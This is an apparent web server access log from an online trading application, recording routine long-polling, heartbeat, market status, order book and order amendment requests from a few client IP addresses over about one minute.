[09/Jan/2026:15:44:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944926891 HTTP/1.1" -
[09/Jan/2026:15:44:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944929580 HTTP/1.1" -
[09/Jan/2026:15:44:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944929588 HTTP/1.1" -
[09/Jan/2026:15:44:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944931349 HTTP/1.1" -
[09/Jan/2026:15:44:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:44:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1871
[09/Jan/2026:15:44:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944932889 HTTP/1.1" -
[09/Jan/2026:15:44:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:44:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1380
[09/Jan/2026:15:44:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944934613 HTTP/1.1" -
[09/Jan/2026:15:44:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944934692 HTTP/1.1" -
[09/Jan/2026:15:44:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944936391 HTTP/1.1" -
[09/Jan/2026:15:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:44:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:44:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:44:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944938881 HTTP/1.1" -
[09/Jan/2026:15:44:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944939647 HTTP/1.1" -
[09/Jan/2026:15:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944939859 HTTP/1.1" -
[09/Jan/2026:15:44:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944941417 HTTP/1.1" -
[09/Jan/2026:15:44:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:44:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1558
[09/Jan/2026:15:44:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:44:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944944688 HTTP/1.1" -
[09/Jan/2026:15:44:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944944892 HTTP/1.1" -
[09/Jan/2026:15:44:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 319
[09/Jan/2026:15:44:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944944903 HTTP/1.1" -
[09/Jan/2026:15:44:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944946437 HTTP/1.1" -
[09/Jan/2026:15:44:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:44:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:44:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Amend HTTP/1.1" 126
[09/Jan/2026:15:44:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:44:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Amend?csrf_nonce=619861B8C8D9FA72EC28DE534924D618 HTTP/1.1" 951
[09/Jan/2026:15:44:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:44:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944949727 HTTP/1.1" -
[09/Jan/2026:15:44:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944950879 HTTP/1.1" -
[09/Jan/2026:15:44:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944950050 HTTP/1.1" -
[09/Jan/2026:15:44:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:44:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1686
[09/Jan/2026:15:44:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944951460 HTTP/1.1" -
[09/Jan/2026:15:44:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944954780 HTTP/1.1" -
[09/Jan/2026:15:44:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944955117 HTTP/1.1" -
[09/Jan/2026:15:44:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944956886 HTTP/1.1" -
[09/Jan/2026:15:44:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944956482 HTTP/1.1" -
[09/Jan/2026:15:44:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944959814 HTTP/1.1" -
[09/Jan/2026:15:44:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944960253 HTTP/1.1" -
[09/Jan/2026:15:44:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944961511 HTTP/1.1" -
[09/Jan/2026:15:44:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944962879 HTTP/1.1" -
[09/Jan/2026:15:44:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944964859 HTTP/1.1" -
[09/Jan/2026:15:44:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:44:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:44:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944965398 HTTP/1.1" -
[09/Jan/2026:15:44:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944966538 HTTP/1.1" -
[09/Jan/2026:15:44:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:44:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:44:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:44:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:44:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944968883 HTTP/1.1" -
[09/Jan/2026:15:44:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944969894 HTTP/1.1" -
[09/Jan/2026:15:45:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944970540 HTTP/1.1" -
[09/Jan/2026:15:45:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944971581 HTTP/1.1" -
[09/Jan/2026:15:45:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944974886 HTTP/1.1" -
[09/Jan/2026:15:45:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944974922 HTTP/1.1" -
[09/Jan/2026:15:45:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944990313 HTTP/1.1" -
[09/Jan/2026:15:45:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944975604 HTTP/1.1" -
[09/Jan/2026:15:45:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944976615 HTTP/1.1" -
[09/Jan/2026:15:45:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944979960 HTTP/1.1" -
[09/Jan/2026:15:45:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944995409 HTTP/1.1" -
[09/Jan/2026:15:45:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944980883 HTTP/1.1" -
[09/Jan/2026:15:45:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944980740 HTTP/1.1" -
[09/Jan/2026:15:45:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944981662 HTTP/1.1" -
[09/Jan/2026:15:45:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944984996 HTTP/1.1" -
[09/Jan/2026:15:45:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945000471 HTTP/1.1" -
[09/Jan/2026:15:45:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944986891 HTTP/1.1" -
[09/Jan/2026:15:45:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944985810 HTTP/1.1" -
